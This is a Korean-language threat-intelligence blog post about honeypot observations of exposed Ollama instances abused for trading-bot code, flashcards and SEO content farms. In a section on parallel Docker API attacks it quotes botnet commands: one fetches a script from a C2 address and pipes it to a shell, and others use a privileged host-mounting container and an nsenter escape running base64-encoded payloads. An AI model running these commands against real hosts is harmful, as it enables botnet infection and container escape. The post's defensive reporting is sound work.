올라마 남용: 트레이딩 봇에서 콘텐츠 팜까지
오픈된 올라마 인스턴스가 트레이딩 전략 코드 생성, 교육 자료 제작, SEO 콘텐츠 대량 생산에 악용되고 있다. 독일, 미국, 러시아의 허니팟은 람마3.1:8b와 쿵웬2.5:7b와 같은 인기 모델에 대한 요청을 기록했다. 공격자는 타인의 GPU를 활용하기 전에 사전 조사, 상태 점검, 병렬 API 엔드포인트 테스트를 수행한다.
사전 조사 및 가용성 확인
스캐너는 인스턴스 기능 여부를 확인하기 위해 기본 쿼리부터 시작한다. 주요 엔드포인트는 다음과 같다:
GET /api/tags— Ollama API에서 사용 가능한 모델 목록을 제공한다.GET /v1/models— OpenAI 호환 모델 목록.GET /api/version— 서버 버전 정보.
미국 기반 노드에서는 1주 동안 /v1/models 요청이 244건, /api/tags 요청이 58건 기록됐다. 한 IP는 POST /v1/chat/completions를 사용해 "messages": [{"role": "user", "content": "health-check"}]라는 페이로드로 매 20분마다 상태 점검을 실시하며 총 244회 반복했다.
모델 식별은 예측 가능한 패턴을 따른다. 람마3.1:8b, 쿵웬2.5:7b, 코드람마:13b, 미스트랄:7b, 딥시크:33b, 람마3.2 등에 간단한 프롬프트(예: "Hello" 또는 "hi")를 보내 응답이 오면 해당 인스턴스를 사용 가능하다고 판단한다.
악용: 작업 유형
사전 조사를 마친 후 실제 작업이 시작된다. 세 가지 유형이 관찰됐다.
트레이딩 봇
미국 기반 노드에서는 성공적인 상태 점검 후 트레이딩 전략 코드를 자동 생성하는 파이프라인이 작동한다:
{
"messages": [{
"role": "user",
"content": "Write Python 3 code for:\ndef backtest_strategy(prices: list[float]) -> float:\nUse a 10-period fast SMA and 50-period slow SMA crossover on prices, long when fast > slow, flat/short when fast < slow, and return total PnL as a float. Output only that function, no extra text."
}]
}
이 프롬프트는 /api/chat, /v1/chat/completions, /v1/completions를 통해 세 모델에 걸쳐 12번 반복됐다. 이는 알고리즘 트레이딩을 위한 무료 백엔드 컴퓨팅을 찾는 체계적인 시도임을 보여준다.
LLM 클라이언트의 프록시 역할
중국 사용자와의 세션에서는 GLM 클라이언트가 전체 대화 기록(시스템 프롬프트 및 이전 응답 포함)을 포워딩했다. 마오쩌둥의 대립적 논리의 모순에 대한 안키 플래시카드 요청: 做一个学习毛泽东的矛盾论 有30张卡片的anki牌组. 최종 검증: 你是什么模型 (무슨 모델이야?).
콘텐츠 팜
러시아 기반 노드에서는 SEO 콘텐츠를 위한 템플릿 프롬프트가 사용됐다:
Answer the following question thoroughly and in detail.
Question: How have neural networks and deep learning transformed AI?
RULES:
- Write a complete, detailed answer.
- Do NOT repeat the question.
- Do NOT add a preamble.
- Your LAST line must be exactly: ##ANSWER_DONE##
Answer:
##ANSWER_DONE##라는 정지어는 파서가 완료를 감지하는 데 사용된다. 주제는 머신러닝과 AI 발전 등이다. 여러 모델을 병렬로 쿼리하고, 사고의 흐름을 적용해 질문에 답변한다.
병렬 인프라 공격
올라마 스캐너는 종종 도커(포트 2375) 및 큐브렛(포트 10250) 공격과 결합된다.
도커 악용
봇넷 docker.selfrep (C2: 31.57.216.121)는 다음 명령을 실행한다:
{
"Cmd": ["sh", "-c",
"(wget --no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s docker.selfrep"]
}
더 위험한 봇넷(서버: 45.194.92.39)은 특권 컨테이너를 사용한다:
{
"Image": "alpine",
"Cmd": ["sh", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"],
"HostConfig": {
"Binds": ["/:/host"],
"Privileged": true
}
}
대안으로 nsenter 탈출:
{
"Cmd": ["nsenter", "--target", "1",
"--mount", "--uts", "--ipc", "--net", "--pid",
"--", "bash", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"]
}
큐브렛 사전 조사
/api/v1/pods, /healthz, ML 전용 /update_weights_from_tensor 요청은 머신러닝 파이프라인을 찾으려는 시도를 나타낸다.
핵심 요약
- 인증 없이 오픈된 올라마 인스턴스가 트레이딩, 교육, SEO에 통합되어 사용된다.
- 상태 점검 및 모델 식별(람마3.1, 쿵웬2.5 등)은 자동화된 스캐너의 일반적인 행동이다.
- 도커 공격은
nsenter를 통한 컨테이너 탈출, 특권 마운트, base64 오브스큐레이션을 결합한다. ##ANSWER_DONE##이나health-check와 같은 마커는 봇 팜을 탐지하는 데 도움이 된다.- 보호에는 로컬 바인딩, 리버스 프록시, 트래픽 모니터링이 필요하다.
— Editorial Team
아직 댓글이 없습니다.